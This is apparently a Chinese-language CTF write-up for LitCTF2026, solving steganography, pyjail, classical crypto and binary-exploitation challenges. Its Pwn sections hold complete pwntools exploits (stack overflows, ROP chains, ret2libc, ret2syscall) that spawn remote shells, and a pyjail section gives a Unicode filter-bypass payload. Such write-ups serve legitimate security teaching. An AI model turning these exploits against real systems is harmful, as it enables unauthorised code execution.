Misc

lit_lsb_base64

Challenge

组委会发来一张花花绿绿的 PNG,标题里写着三个字母:LSB。这和「崂山煲」可没关系——它指的是 最低有效位(Least Significant Bit) 隐写。

Solution

用 zsteg 分析

LitCTF2026-1

解 base64

LitCTF2026-2

FLAG

flag
LitCTF{lsb_1s_fun_w1th_b4s3_64}

lit_rush_qr

Challenge

附件里有一个「闪得很快」的 GIF。有人说自己好像瞥见了 二维码 的一角,但怎么也扫不出来……

Solution

先动图分解帧拿到残缺的二维码

LitCTF2026-3

然后补全两个定位角

LitCTF2026-4

最后扫码即可

FLAG

flag
LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry}

lit_sstv

Challenge

你收到一段奇怪的 WAV:听起来像老式调制解调器或短波噪声。它其实不是「坏掉的音频」,而是一种把 图片编码进声音 的协议——SSTV(慢扫描电视)

Solution

SSTV,找了个在线网站解 Online SSTV Decoder - Decode Slow Scan Television Audio to Images

LitCTF2026-5

FLAG

flag
LitCTF{sstv_p4t13nc3}

lit_welcome

Challenge

组委会给你发了一张「欢迎」图片,说 flag 就在图里——可你一眼望去好像只有几行普普通通的欢迎语?

Solution

LSB隐写,用 StegSolve 打开图片后在 Red Plane 0 发现 flag

LitCTF2026-6

FLAG

flag
LitCTF{w3lc0m3_t0_m1sc_w0rld}

lit_pyjail_reader

Challenge

ez_jail

python
#!/usr/bin/env python3"""LitCTF — 入门 Pyjail:验证码 + 按指引两次只读文件(无 RCE)。""" import secretsimport socketimport stringimport threading HOST = "0.0.0.0"PORT = 9999MAX_QUEUED = 64MAX_LINE = 512MAX_FILE = 4096  def recv_line(conn: socket.socket) -> str:    data = bytearray()    while len(data) < MAX_LINE:        chunk = conn.recv(1)        if not chunk:            break        if chunk == b"\n":            break        data += chunk    return data.decode("utf-8", errors="replace").strip()  def safe_read(path: str) -> str:    p = path.strip()    if not p or p.startswith("-") or "\x00" in p:        raise ValueError("invalid path")    with open(p, "r", errors="replace") as f:        return f.read(MAX_FILE)  def handle(conn: socket.socket) -> None:    try:        conn.settimeout(120)        alphabet = string.ascii_uppercase        challenge = "".join(secrets.choice(alphabet) for _ in range(8))        conn.sendall(            f"Please enter the reverse of '{challenge}' to continue: ".encode()        )        ans = recv_line(conn)        if ans != challenge[::-1]:            conn.sendall(b"Wrong reverse string. Bye.\n")            return        conn.sendall(            b"Good.\n"            b"Step 1: read /app/where_is_flag.txt (it contains the flag path).\n"            b"Step 2: read that path.\n"            b"File path (1/2): "        )        p1 = recv_line(conn)        try:            c1 = safe_read(p1)        except Exception as e:            conn.sendall(f"Error: {e}\n".encode(errors="replace"))            return        conn.sendall(b"--- begin ---\n")        conn.sendall(c1.encode(errors="replace"))        conn.sendall(b"\n--- end ---\nFile path (2/2): ")        p2 = recv_line(conn)        try:            c2 = safe_read(p2)        except Exception as e:            conn.sendall(f"Error: {e}\n".encode(errors="replace"))            return        conn.sendall(c2.encode(errors="replace"))        conn.sendall(b"\n")    finally:        conn.close()  def main() -> None:    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)    srv.bind((HOST, PORT))    srv.listen(MAX_QUEUED)    while True:        client, _ = srv.accept()        threading.Thread(target=handle, args=(client,), daemon=True).start()  if __name__ == "__main__":    main()

Solution

和 pyjail 好像没多大关系,这题甚至不需要看题,这题 nc 连上之后照做就输出 flag 了
第一步是将提供的字符串反转后输入
第二步输入 /app/where_is_flag.txt 获取 flag 的位置
第三步输入刚刚获取到的 flag 的位置就拿到 flag 了

LitCTF2026-7

FLAG

flag
flag{gklntftv-iqga-4bn-8xmq-c1wd3r5u3xb3f}

lit_pyjail_unicode

Challenge

ezjail_2

python
#!/usr/bin/env python3"""LitCTF — Unicode 标识符绕过:过滤检查原始源码字符串,解释器仍接受全角等价标识符。""" import reimport socketimport threading HOST = "0.0.0.0"PORT = 9999MAX_QUEUED = 64MAX_LINE = 240 # 仅检查「你键入的文本」:ASCII 关键字用词边界,避免匹配到 important 等BANNED = re.compile(    r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|"    r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|"    r"\bsubprocess\b|\bpty\b|os\.|sys\.|\bposix\b",    re.IGNORECASE,)  def banned(raw: str) -> bool:    if "\\u" in raw or "\\U" in raw or "\\x" in raw:        return True    return BANNED.search(raw) is not None  def handle(conn: socket.socket) -> None:    try:        conn.settimeout(60)        conn.sendall(            b"=== LitCTF pyjail unicode ===\n"            b"Send ONE line of Python. It will be eval() with full __builtins__.\n"            b"ASCII blacklist applies to your *source text* (see attachment jail.py).\n"            b"Goal: read /flag and get its str content.\n> "        )        raw = bytearray()        while len(raw) < MAX_LINE:            ch = conn.recv(1)            if not ch:                break            if ch == b"\n":                break            raw += ch        line = raw.decode("utf-8", errors="replace").strip()        if not line:            conn.sendall(b"empty\n")            return        if banned(line):            conn.sendall(b"disallowed pattern in source\n")            return        try:            out = eval(line, {"__builtins__": __builtins__})            conn.sendall(repr(out).encode(errors="replace") + b"\n")        except Exception as e:            conn.sendall(f"{type(e).__name__}: {e}\n".encode(errors="replace"))    finally:        conn.close()  def main() -> None:    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)    srv.bind((HOST, PORT))    srv.listen(MAX_QUEUED)    while True:        c, _ = srv.accept()        threading.Thread(target=handle, args=(c,), daemon=True).start()  if __name__ == "__main__":    main()

Solution

Unicode 标识符绕过,核心思路是:黑名单正则只检查原始源码文本,而 Python 在解析标识符时会做 NFKC 规范化,全角英文字母会被规范化为半角 ASCII,因此使用全角字符拼出被禁的关键字即可。

先看看黑名单:

python
BANNED = re.compile(    r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|"    r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|"    r"\bsubprocess\b|\bpty\b|os\.|sys\.|\bposix\b",    re.IGNORECASE,)

open 写成全角形式 open(U+FF4F, U+FF50, U+FF45, U+FF4E)直接读 flag 就好了,payload:

python
open('/flag').read()

LitCTF2026-8

FLAG

flag
flag{snaixx1k-rcxk-4zu-8w4x-059oj7216m1va}

Crypto

lit_xor_two_story

Challenge

某同学用 同一串随机密钥流 k 对两条长度均为 40 字节的明文做异或「流密码」加密,却忘记了一次一密的基本要求:密钥绝不能复用

python
#!/usr/bin/env python3"""LitCTF2026 — One-time pad reused for two messages (40 bytes each). Players receive output.txt and README; they do not receive secret.py."""from __future__ import annotations import argparseimport osfrom pathlib import Path try:    from secret import M1_FLAGexcept ImportError:    raise SystemExit(        "secret.py (organizer) is required to generate ciphertext; "        "players work from output.txt only."    ) # Public second message — duplicated in README for contestants.M2_KNOWN = b"litctf2026_xor_keystream_reuse_40bytes!!" assert len(M1_FLAG) == len(M2_KNOWN) == 40  def xor_bytes(a: bytes, b: bytes) -> bytes:    return bytes(x ^ y for x, y in zip(a, b))  def main() -> None:    parser = argparse.ArgumentParser()    parser.add_argument(        "--write",        type=Path,        help="Write hex lines to file.",    )    args = parser.parse_args()     n = len(M1_FLAG)    k = os.urandom(n)    c1 = xor_bytes(M1_FLAG, k)    c2 = xor_bytes(M2_KNOWN, k)     lines = [        f"c1 = {c1.hex()}",        f"c2 = {c2.hex()}",        f"len = {n}",    ]    text = "\n".join(lines) + "\n"    print(text, end="")    if args.write:        args.write.write_text(text, encoding="utf-8")  if __name__ == "__main__":    main() # c1 = 5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28# c2 = 5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474# len = 40

Solution

一次一密,但是密钥 k 被重复使用

如果同一个密钥 加密了两条不同的消息

那么将两个密文异或:

因此如果已知其中一条明文(这题是已知 )就能直接恢复另一条:

解题脚本:

python
c1 = bytes.fromhex("5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28")c2 = bytes.fromhex("5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474") M2_KNOWN = b"litctf2026_xor_keystream_reuse_40bytes!!" xor_c1c2 = bytes(a ^ b for a, b in zip(c1, c2)) flag = bytes(a ^ b for a, b in zip(xor_c1c2, M2_KNOWN))print(flag.decode())

FLAG

flag
litctf{otp_reuse_never_twice_same_key__}

lit_elgamal_handshake

Challenge

服务端打印了 ElGamal 私钥 x,这是一次典型的「调试产物泄露」。

python
#!/usr/bin/env python3"""LitCTF2026 — ElGamal handshake (story)Someone left debug logging on; the private exponent x was printed alongside ciphertext."""from __future__ import annotations import argparsefrom pathlib import Pathfrom random import randrange from Crypto.Util.number import bytes_to_long, getPrime, getRandomRange try:    from secret import FLAGexcept ImportError as e:    raise SystemExit("secret.py (FLAG) is required to encrypt.") from e  def generate_elgamal_keypair(bits: int = 512) -> tuple[int, int, int, int]:    p = getPrime(bits)    for _ in range(1000):        g = getRandomRange(2, min(6, p - 1))        if pow(g, (p - 1) // 2, p) != 1:            break    else:        raise RuntimeError("could not find suitable g")    x = randrange(2, p - 1)    y = pow(g, x, p)    return p, g, y, x  def main() -> None:    parser = argparse.ArgumentParser()    parser.add_argument(        "--write",        type=Path,        help="Write captured output to this file (for organizers).",    )    args = parser.parse_args()     p, g, y, x = generate_elgamal_keypair(bits=512)    k = randrange(1, p - 2)    m = bytes_to_long(FLAG)    if m >= p:        raise ValueError("flag too large for chosen p — shorten FLAG")     c1 = pow(g, k, p)    c2 = (m * pow(y, k, p)) % p     lines = [        "=== Public key (p, g, y) ===",        f"p = {p}",        f"g = {g}",        f"y = {y}",        "",        "=== Ciphertext (c1, c2) ===",        f"c1 = {c1}",        f"c2 = {c2}",        "",        "# [DEBUG] prod accidentally logged the long-term secret:",        f"x = {x}",    ]    text = "\n".join(lines) + "\n"    print(text, end="")    if args.write:        args.write.write_text(text, encoding="utf-8")  if __name__ == "__main__":    main() # === Public key (p, g, y) ===# p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651# g = 3# y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357 # === Ciphertext (c1, c2) ===# c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627# c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654 # # [DEBUG] prod accidentally logged the long-term secret:# x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884

Solution

ElGamal 在加密过程中泄露了私钥 ,直接用私钥解密密文。

ElGamal 的解密公式是:

即:

解题脚本:

python
from Crypto.Util.number import long_to_bytes p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651g = 3y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357 c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654 x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884 s = pow(c1, x, p)s_inv = pow(s, p - 2, p)m = (c2 * s_inv) % pflag = long_to_bytes(m)print(flag.decode())

FLAG

flag
litctf{elgamal_leak_makes_happy_decrypt}

lit_rsa_neighbor

Challenge

密钥生成脚本选了一个随机素数 p,然后对 p 连续调用多次「下一个素数」,得到 q,再令 (n=pq)。直觉上 (p) 与 (q) 仍然相差不大——这会让 费马分解 在普通笔记本上也可行。

python
#!/usr/bin/env python3"""LitCTF2026 — RSA where q is 'far' along the prime line but still close enough to p for Fermat."""from __future__ import annotations import argparsefrom pathlib import Path import gmpy2from Crypto.Util.number import bytes_to_long, getPrime try:    from secret import FLAG, NEXT_PRIME_STEPSexcept ImportError as e:    raise SystemExit(        "secret.py is required to generate output (FLAG, NEXT_PRIME_STEPS)."    ) from e E = 65537  def main() -> None:    parser = argparse.ArgumentParser()    parser.add_argument(        "--write",        type=Path,        help="Write n, c to this file.",    )    args = parser.parse_args()     p = getPrime(512)    q = p    for _ in range(NEXT_PRIME_STEPS):        q = int(gmpy2.next_prime(q))     n = p * q    m = bytes_to_long(FLAG)    if m >= n:        raise ValueError("flag too large for n")     c = pow(m, E, n)     lines_players = [f"{n = }", f"{c = }", f"e = {E}"]    text = "\n".join(lines_players) + "\n"    print(text, end="")    if args.write:        args.write.write_text(text, encoding="utf-8")  if __name__ == "__main__":    main() # n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911# c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429# e = 65537

Solution

python
p = getPrime(512)q = pfor _ in range(NEXT_PRIME_STEPS):    q = int(gmpy2.next_prime(q))

这表明:

  • p 是一个 512 位的素数。

  • qp 开始,连续取 NEXT_PRIME_STEPS 次“下一个素数”。

因此 q = next_prime(...(next_prime(p))...),也就是 q 只比 p 大一点点。

pq 很接近时,n = p * q 可以用费马分解法快速分解。

如果 n = p * qpq 接近,那么存在整数 ab 使得:

其中:

费马分解法就是从 a = ceil(sqrt(n)) 开始,不断检查 a^2 - n 是否为完全平方数。如果 b^2 = a^2 - n 是完全平方,那么:

解题脚本:

python
import gmpy2from Crypto.Util.number import long_to_bytes n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429e = 65537 # Fermat factorizationa = gmpy2.isqrt(n)if a * a < n:    a += 1 while True:    b2 = a * a - n    b, is_square = gmpy2.iroot(b2, 2)    if is_square:        p = int(a - b)        q = int(a + b)        break    a += 1 print("p =", p)print("q =", q)assert p * q == n # RSA decryptphi = (p - 1) * (q - 1)d = gmpy2.invert(e, phi)m = pow(c, d, n)flag = long_to_bytes(m)print(flag.decode())

FLAG

flag
litctf{rsa_fermat_finds_close_primes}

lit_tiny_key_aes

Challenge

运维政策规定 AES-128-ECB 密钥的前 13 个字节固定为可读前缀 LitCTF2026!!!,只有末尾 3 个字节由终端随机生成。密钥空间过小,不适合对抗离线枚举。

python
#!/usr/bin/env python3"""LitCTF2026 — AES-128-ECB with a mostly fixed key (weak operational policy)."""from __future__ import annotations import argparsefrom pathlib import Path from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad try:    from secret import FLAG, UNKNOWN_KEY_SUFFIXexcept ImportError as e:    raise SystemExit(        "secret.py is required to generate ciphertext (contains FLAG and key suffix)."    ) from e KEY_PREFIX = b"LitCTF2026!!!"  # 13 bytes; 3 bytes brute-forcedassert len(KEY_PREFIX) + len(UNKNOWN_KEY_SUFFIX) == 16  def encrypt_aes_ecb_pkcs7(plaintext: bytes, key: bytes) -> bytes:    cipher = AES.new(key, AES.MODE_ECB)    return cipher.encrypt(pad(plaintext, AES.block_size))  def main() -> None:    parser = argparse.ArgumentParser()    parser.add_argument(        "--write",        type=Path,        help="Write ciphertext hex to this file.",    )    args = parser.parse_args()     key = KEY_PREFIX + UNKNOWN_KEY_SUFFIX    c = encrypt_aes_ecb_pkcs7(FLAG, key)    line = f"c = {c!r}\n"    print(line, end="")    if args.write:        args.write.write_text(line, encoding="utf-8")  if __name__ == "__main__":    main() # c = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3"

Solution

从代码可以看出密钥前缀 b"LitCTF2026!!!" 是13字节,密钥后缀 UNKNOWN_KEY_SUFFIX 是3字节(因为总密钥长度是16字节),加密模式是 AES-128-ECB,填充方式是 PKCS#7

直接暴力破解3字节密钥后缀即可

解题脚本:

python
from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadimport itertools c = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3" KEY_PREFIX = b"LitCTF2026!!!" def try_decrypt(key_suffix):    key = KEY_PREFIX + key_suffix    cipher = AES.new(key, AES.MODE_ECB)    try:        plaintext = unpad(cipher.decrypt(c), AES.block_size)        if all(32 <= b <= 126 or b == 10 for b in plaintext):            return plaintext    except:        pass    return None for i, key_suffix in enumerate(itertools.product(range(256), repeat=3)):    key_suffix = bytes(key_suffix)    result = try_decrypt(key_suffix)        if result:        print(f"密钥后缀: {key_suffix.hex()}")        print(f"{result.decode()}")        break

FLAG

flag
litctf{aes_tiny_brut3_for_the_win!}

Pwn

lit_ret2text32

Challenge

欢迎来到 Pwn 的世界!这是一道最基础的32位栈溢出题目。
程序里藏着一扇后门,只要你能让程序”走错一步”,它就会为你打开 shell 之门。

Solution

直接看源码 main.c,结构非常清晰:vuln() 里声明了 48 字节的 buf,但 read(0, buf, 0x200) 能写 0x200 字节,典型的栈溢出。同时 backdoor() 函数里直接调了 system("/bin/sh"),目标很明确——覆盖返回地址跳到 backdoor

查一下二进制属性和 backdoor 地址:

bash
$ file ret2text32ret2text32: ELF 32-bit LSB executable, Intel i386, ..., not stripped $ objdump -d ret2text32 | grep '<backdoor>'08049213 <backdoor>:

无 PIE,无 canary,backdoor 地址固定为 0x08049213

接下来确认偏移。反汇编 vuln

bash
$ objdump -d ret2text32 | grep -A30 '<vuln>' 804927c:   8d 45 c8      lea    -0x38(%ebp),%eax   ; buf 起始地址 804927f:   50            push   %eax 8049280:   6a 00         push   $0x0 8049282:   e8 c9 fd ff ff   call   8049050 <read@plt>

buf 位于 ebp - 0x38,即距 ebp 56 字节。加上 ebp 上方 4 字节的 saved ebp,到返回地址的偏移为 0x38 + 4 = 60 字节

构建 payload:60 个填充字符 + backdoor 地址(小端序)。exp 如下:

python
from pwn import * context.arch = 'i386' backdoor = 0x08049213offset = 0x38 + 4 r = remote('challenge.cyclens.tech', 31169) payload = flat([    b'A' * offset,    p32(backdoor),]) r.recvuntil(b'Input: ')r.sendline(payload)r.sendline(b'cat flag')r.interactive()

运行后得到 shell,cat flag 直接读出 flag。

FLAG

flag
flag{sx6medj5-rhra-4ue-83mn-ad7enob3e5pqq}

lit_ret2shellcode

Challenge

这是一个古老的工坊,工匠们在这里直接在栈上刻写代码。
传说栈上的墨迹还未干涸,代码就能直接运行。
你能在这块可执行的栈上写下属于你的咒语,并让它执行吗?

Solution

看源码,vuln() 里有个 100 字节的 buf,但 read(0, buf, 0x200) 能读 0x200 字节,栈溢出。关键信息:程序会打印 buf 的地址,而且题目名是 ret2shellcode,暗示栈可执行。

readelf 确认栈权限:

bash
$ readelf -l ret2shellcode | grep GNU_STACK  GNU_STACK      0x0 ... RWE    0x10

栈有 RWE 权限,可以直接放 shellcode。

反汇编看 vuln 确认偏移:

bash
$ objdump -d ret2shellcode | grep -A30 '<vuln>'  4011ce:   48 8d 45 90      lea    -0x70(%rbp),%rax   ; buf 起始  401201:   ba 00 02 00 00   mov    $0x200,%edx         ; 读取 0x200 字节  401206:   48 89 c6         mov    %rax,%rsi  401209:   bf 00 00 00 00   mov    $0x0,%edi  40120e:   e8 3d fe ff ff   call   401050 <read@plt>

bufrbp - 0x70(112 字节),64 位下 saved rbp 占 8 字节,所以到返回地址的偏移是 0x70 + 8 = 120 字节。

攻击思路:读程序泄露的 buf 地址 → 在 buf 位置放 shellcode → 覆盖返回地址为 buf 地址。

python
from pwn import * context.arch = 'amd64' r = remote('challenge.cyclens.tech', 30872) r.recvuntil(b'buf is at ')buf_addr = int(r.recvuntil(b'\n').strip(), 16) offset = 0x70 + 8shellcode = asm(shellcraft.sh()) payload = flat([    shellcode,    b'A' * (offset - len(shellcode)),    p64(buf_addr),]) r.recvuntil(b'Leave your mark on the stack: ')r.send(payload)r.sendline(b'cat flag*')r.interactive()

跑起来拿到 shell,cat flag* 出 flag。

FLAG

flag
flag{5p1uubjx-t4jp-4oc-80co-korlkzbrnzqun}

lit_integer_overflow

Challenge

程序说它会读取你指定长度的数据,但这个长度检查真的安全吗?
当数学的边界被打破,栈上的秘密就将暴露无遗。
听说程序里藏着一个神秘的后门,你能找到它吗?

Solution

看源码,read_data()sizeint,检查范围 0-63,但 read() 的第三个参数被强转为 unsigned int。传一个负数进去,比如 -1(unsigned int)-1 就变成了 0xFFFFFFFF,栈溢出随便写。

找后门地址和偏移:

bash
$ objdump -d integer_overflow | grep '<backdoor>'00000000004011d7 <backdoor>: $ objdump -d integer_overflow | grep -A30 '<read_data>'  401262:   48 8d 45 c0      lea    -0x40(%rbp),%rax   ; buf 起始  40126e:   e8 ed fd ff ff   call   401060 <read@plt>

backdoor 地址 0x4011d7bufrbp - 0x40,64 位下到返回地址偏移为 0x40 + 8 = 72 字节。

但 x86_64 下 system() 要求 16 字节栈对齐。我们通过溢出 ret 跳到 backdoor(而非正常 call),栈对齐会差 8 字节。找条 ret gadget 垫一下:

bash
$ objdump -d integer_overflow | grep -E 'c3\s+ret'  40101a:   c3      ret

exp 如下:

python
from pwn import * context.arch = 'amd64' backdoor = 0x4011d7ret = 0x40101aoffset = 0x40 + 8 r = remote('challenge.cyclens.tech', 30192) r.recvuntil(b'(0-63): ')r.sendline(b'-1')r.recvuntil(b"Invalid size! But I'll still read it anyway...\n") payload = flat([    b'A' * offset,    p64(ret),       # 栈对齐    p64(backdoor),]) r.send(payload)r.sendline(b'cat flag*')r.interactive()

FLAG

flag
flag{hecu34wx-qh90-4lg-8xm9-liuqg4mniwiyt}

lit_ropchain

Challenge

程序里的碎片散落一地,没有现成的钥匙能打开 shell 之门。
你需要像拼图大师一样,把一个个小小的代码碎片(gadgets)拼接起来,
先读取 “bin/sh” 到内存,再召唤 system 之力。

Solution

看源码,这道题作者直接在里面嵌好了 gadget:pop rdi; retpop rsi; retpop rdx; ret。栈不可执行,没有现成的后门函数,但 systemread 都在 PLT 里,BSS 段还有一个 0x100 字节的 bss_buf。经典的 64 位 ROP:先用 read"/bin/sh" 写入 BSS,再调 system(bss_buf)

找齐所有地址:

bash
$ objdump -d ropchain | grep -E '<vuln>|<gadget_|<read@plt|<system@plt'  401166 gadget_pop_rdi:   pop rdi; ret  40116b gadget_pop_rsi:   pop rsi; ret  401170 gadget_pop_rdx:   pop rdx; ret  401040 system@plt  401060 read@plt $ readelf -s ropchain | grep bss_buf  403460 bss_buf $ objdump -d ropchain | grep -A10 '<vuln>:'  401210:   lea -0x40(%rbp),%rax   ; buf at rbp-0x40

偏移 0x40 + 8 = 72 字节。ROP 链分两段:第一段调 read(0, bss_buf, 8),收到 "/bin/sh\0" 后自动续上第二段 system(bss_buf)

python
from pwn import * pop_rdi = 0x401166pop_rsi = 0x40116bpop_rdx = 0x401170read_plt = 0x401060system_plt = 0x401040bss_buf = 0x403460offset = 0x40 + 8 r = remote('challenge.cyclens.tech', 30589)r.recvuntil(b'Input: ') payload = flat([    b'A' * offset,    # read(0, bss_buf, 8)    p64(pop_rdi), p64(0),    p64(pop_rsi), p64(bss_buf),    p64(pop_rdx), p64(8),    p64(read_plt),    # system(bss_buf)    p64(pop_rdi), p64(bss_buf),    p64(system_plt),]) r.send(payload)r.send(b'/bin/sh\x00')r.sendline(b'cat flag*')r.interactive()

read 返回后栈上正好接上 pop rdi; bss_buf; system,一路顺滑拿到 shell。

FLAG

flag
flag{32pqaimr-4jke-4nj-8igp-ymye2xrusranp}

lit_ret2syscall32

Challenge

这是一台32位的古老机器,没有 system(),没有 /bin/sh,连 libc 都沉默不语。
但每一个程序都能向内核祈祷——通过中断门 int 0x80。
你能唤醒这台机器最深层的系统调用之力吗?

Solution

源码里嵌好了全套 gadget:pop eax; retpop ebx; retpop ecx; pop ebx; retpop edx; retmov eax,(edx); retint 0x80。还有一个可写的 data_buf[0x100]。栈不可执行(RW),典型的 32 位 ret2syscall。

找齐地址和偏移:

bash
$ objdump -d ret2syscall32 | grep '<gadget_'080491a6 gadget_pop_eax:       pop %eax; ret080491ab gadget_pop_ebx:       pop %ebx; ret080491b0 gadget_pop_ecx_ebx:   pop %ecx; pop %ebx; ret080491b6 gadget_pop_edx:       pop %edx; ret080491c1 gadget_int_0x80:      int $0x80 $ readelf -s ret2syscall32 | grep data_buf0804b3a0 data_buf $ objdump -d ret2syscall32 | grep -A3 '8049249:' 8049249:   8d 45 b8      lea -0x48(%ebp),%eax   ; buf at ebp-0x48

偏移 = 0x48 + 4 = 76 字节。

思路:先用 read@plt"/bin/sh\0" 读进 data_buf,再布置寄存器通过 int 0x80execve。但 read@plt 走 cdecl 调用约定,返回后栈上残留三个参数(fd、buf、count)。直接用 gadget 挨个弹掉太啰嗦,ROPgadget 搜到一条清理 gadget:

bash
$ ROPgadget --binary ret2syscall32 | grep 'add esp, 8'0x0804901f : add esp, 8 ; pop ebx ; ret

一次清掉 12 字节(3 个参数),干净利落。

exp 如下:

python
from pwn import * context.arch = 'i386' pop_eax     = 0x080491a6pop_ecx_ebx = 0x080491b0pop_edx     = 0x080491b6int_0x80    = 0x080491c1read_plt    = 0x08049050data_buf    = 0x0804b3a0cleanup     = 0x0804901f  # add esp, 8; pop ebx; retoffset      = 0x48 + 4 r = remote('challenge.cyclens.tech', 30528)r.recvuntil(b'Input: ') payload = flat([    b'A' * offset,    # Part 1: read(0, data_buf, 8)    p32(read_plt),    p32(cleanup),         # read 返回到这里,清掉三个参数    p32(0),               # fd    p32(data_buf),        # buf    p32(8),               # count    # Part 2: execve(data_buf, 0, 0)    p32(pop_eax), p32(11),            # eax = 11 (execve)    p32(pop_edx), p32(0),             # edx = 0    p32(pop_ecx_ebx), p32(0), p32(data_buf),  # ecx = 0, ebx = data_buf    p32(int_0x80),                    # 触发 syscall]) r.send(payload)r.send(b'/bin/sh\x00')r.sendline(b'cat flag*')r.interactive()

FLAG

flag
flag{sdhfeplm-01vn-4ab-8idn-rnuluryqiwn07}

lit_ret2libc

Challenge

这个程序里没有后门,但它调用了一些标准库函数。
当你无法直接找到 system() 或 /bin/sh 时,libc 就是你最好的朋友。
你能从程序的”记忆”中读取 libc 的秘密,并借用它的力量打开 shell 吗?

Solution

源码提供了 pop rdi; retxor rax, rax; ret 两个 gadget。没有后门,没有 system,没有 /bin/sh。典型的 ret2libc:先泄露 GOT 中 puts 的地址算出 libc 基址,第二轮再调 system("/bin/sh")

找齐地址和偏移:

bash
$ objdump -d ret2libc | grep -E '<gadget_|<vuln>|<puts@plt'  401030 puts@plt  4011b7 gadget_pop_rdi:   pop rdi; ret  4011f0 vuln $ objdump -d ret2libc | grep -A5 'read@plt'  40121b:   lea -0x40(%rbp),%rax   ; buf at rbp-0x40

偏移 = 0x40 + 8 = 72。puts@got = 0x4033d8。

第一轮:用 pop rdi; ret 传 puts@got 给 puts@plt 打印 libc 地址,然后返回到 vuln 再打第二轮。但 64 位下通过 ret 跳转(而非 call)会让栈对齐差 8 字节,vuln 内部调用 printf 时崩溃。在返回到 vuln 前多垫一个 ret gadget 修复对齐。

bash
$ objdump -d ret2libc | grep -E 'c3\s+ret'  40101a: c3   ret

第一轮 payload:

text
[72 bytes padding][pop_rdi] [puts_got] [ret] [puts_plt] [ret] [vuln]

拿到 puts 地址后查 libc 版本。泄露两个符号(puts + read)更精确:

bash
$ curl -s 'https://libc.rip/api/find' \  -d '{"symbols":{"puts":"80e50","read":"114850"}}'libc6_2.35-0ubuntu3.13_amd64  puts:   0x80e50  system: 0x50d70  str_bin_sh: 0x1d8678

算出 libc_base = leaked_puts - 0x80e50,得到 system/bin/sh 地址,第二轮直接 system("/bin/sh")

python
from pwn import * context.arch = 'amd64' pop_rdi  = 0x4011b7puts_plt = 0x401030puts_got = 0x4033d8ret      = 0x40101avuln     = 0x4011f0 off_puts   = 0x80e50off_system = 0x50d70off_binsh  = 0x1d8678offset     = 0x40 + 8 r = remote('challenge.cyclens.tech', 30399)r.recvuntil(b'Tell me your name: ') # Stage 1: leak puts, return to vulnpayload1 = flat([    b'A' * offset,    p64(pop_rdi), p64(puts_got),    p64(ret),    p64(puts_plt),    p64(ret),    p64(vuln),])r.send(payload1) leak_puts = u64(r.recvline().strip().ljust(8, b'\x00'))libc_base = leak_puts - off_puts # Stage 2: system("/bin/sh")r.recvuntil(b'Tell me your name: ')payload2 = flat([    b'A' * offset,    p64(ret),    p64(pop_rdi), p64(libc_base + off_binsh),    p64(libc_base + off_system),])r.send(payload2)r.sendline(b'cat flag*')r.interactive()

FLAG

flag
flag{qoqqil9i-6f3g-4pq-8pyc-igiqocqicr973}

Web

lit_ezssti

Challenge

缺什么补什么(x

Solution

